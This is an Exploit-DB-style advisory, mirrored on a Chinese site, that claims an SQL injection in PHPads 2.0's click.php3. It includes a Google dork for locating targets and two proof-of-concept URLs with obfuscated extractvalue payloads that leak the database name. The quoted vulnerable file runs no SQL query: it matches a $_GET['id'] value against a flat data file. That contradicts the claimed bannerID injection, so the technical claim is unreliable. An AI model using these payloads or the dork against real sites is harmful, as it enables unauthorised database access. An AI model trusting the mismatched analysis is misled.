PHPads 2.0 – ‘click.php3?bannerID’ SQL Injection - 体验盒子

作者： felipe andrian

日期： 2019-05-06

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/46798/

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[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://blondish.net/

[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"click.php3?bannerID="" // use your brain ;)

[+] Exploit :

http://host/patch//click.php3?bannerID= [SQL Injection]

[+] Vulnerable File :

<?php

$bannerAdsPath = './ads.dat';

require './ads.inc.php';

///////////////////////////////////////

// Don't Edit Anything Below This Line!

///////////////////////////////////////

for ($i = 0; $i < count($ads); $i++) {

if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) {

$data = explode('||', $ads[$i]);

if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {

$data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;

}

$ads[$i] = join('||', $data);

break;

}

if (!$data[PHPADS_ADELEMENT_LINK_URI]) {

die();

}

writeads();

Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]);

exit;

?>

[+] PoC :

http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

[+] EOF